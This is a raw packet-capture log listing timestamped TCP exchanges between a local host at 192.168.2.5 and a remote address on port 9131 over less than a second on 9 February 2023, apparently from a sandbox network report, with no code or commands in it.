Feb 9, 2023 00:59:58.396861076 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.425128937 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.425210953 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.425256014 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.425266027 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.425302029 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.425348043 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.425369978 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.425396919 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.425421953 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.425437927 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.425458908 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.425497055 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.425523043 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.425553083 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.425597906 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.425620079 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.425646067 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.425674915 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.425690889 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.425724030 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.425762892 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.425772905 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.425801992 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.425843000 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.425849915 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.425867081 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.425892115 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.425919056 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.425929070 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.425955057 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.425961018 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.426000118 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.426049948 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.426060915 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.426089048 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.426126003 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.426127911 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.426165104 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.426204920 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.426214933 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.426260948 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.426304102 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.426307917 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.426337957 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.426378965 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.426382065 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.426430941 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.426482916 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.426486015 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.426548004 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.426575899 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.426600933 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.426609039 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.426646948 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.426677942 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.426753044 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.426808119 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.426817894 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.426872969 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.426913977 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.426939964 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.427001953 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.427045107 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.427069902 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.427125931 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.427176952 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.427197933 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.427225113 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.427252054 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.427270889 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.427275896 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.427318096 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.427320004 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.427354097 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.427377939 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.427403927 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.427407026 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.427459955 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.427460909 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.427508116 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.427546978 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.427553892 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.427586079 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.427613974 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.427630901 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.427655935 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.427696943 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.427731991 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.427794933 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.427828074 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.427841902 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.427860022 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.427901983 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.427989006 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428021908 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428066015 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.428086996 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428116083 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428143978 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428158998 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.428173065 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428237915 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.428272009 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428333044 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428376913 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.428386927 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428415060 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428442955 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428488016 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.428489923 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428524971 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428539991 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.428565979 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428603888 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428631067 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.428651094 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428690910 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428703070 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.428716898 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428744078 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428766012 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.428781033 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428828955 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.428854942 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428915024 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428947926 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.428977013 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.429006100 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429052114 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429052114 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.429126978 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429153919 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429167986 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.429181099 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429208040 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429228067 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.429236889 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429261923 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429289103 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429291010 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.429320097 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429330111 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.429368973 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429395914 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429424047 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429424047 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.429451942 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429461956 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.429480076 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429507971 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429519892 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.429533005 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429559946 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429579020 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.429585934 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429611921 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429632902 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.429637909 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429665089 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429691076 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429712057 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.429718971 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429744959 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429745913 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.429770947 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429786921 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.429800987 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429827929 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429846048 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.429856062 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429884911 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429897070 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.429913998 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429940939 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429954052 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.429969072 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.429995060 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430010080 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.430022955 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430051088 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430068970 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.430079937 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430107117 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430120945 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.430133104 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430160046 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430183887 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430191040 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.430212021 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430238962 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430243969 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.430269003 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430284023 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.430296898 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430326939 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430346012 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.430356026 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430383921 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430394888 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.430408955 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430438995 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430449009 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.430464983 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430490971 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430505991 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.430520058 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430548906 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430574894 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430588961 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.430625916 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.430752039 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430778980 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430804968 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430818081 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.430831909 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430860043 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430869102 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.430888891 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430916071 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430943012 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430953026 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.430970907 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.430984020 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.430998087 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.431024075 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.431050062 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.431058884 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.431077003 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.431103945 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.431104898 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.431121111 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.431140900 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.431162119 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.431168079 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.431189060 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.431194067 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.431217909 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.431229115 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.431242943 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.431256056 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.431273937 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.431284904 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.431296110 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.431324005 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.431348085 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.431349993 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.431365967 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.431376934 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.431389093 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.431404114 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.431411028 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.431431055 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.431438923 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.431458950 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.431466103 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.431484938 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.431495905 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.431513071 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.431521893 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.431550980 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.444727898 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.497874975 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.497957945 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.497956038 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498037100 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498051882 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498086929 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498100042 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498114109 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498127937 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498148918 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498152018 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498189926 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498224974 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498254061 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498271942 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498286963 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498315096 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498322964 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498367071 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498393059 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498395920 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498423100 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498423100 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498449087 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498456001 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498475075 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498481035 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498534918 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498534918 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498570919 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498603106 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498617887 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498629093 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498648882 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498655081 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498672962 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498681068 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498712063 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498723030 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498729944 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498754025 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498780012 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498783112 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498806000 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498826027 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498830080 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498869896 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498869896 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498873949 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498893023 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498898983 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498925924 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498925924 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498945951 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498950958 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498971939 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.498975039 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.498987913 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.499010086 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.499036074 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.499037027 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.499054909 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.499063015 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.499088049 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.499097109 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.499113083 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.499115944 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.499133110 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.499140024 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:58.499152899 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:58.499165058 CET	9131	49700	128.31.0.39	192.168.2.5
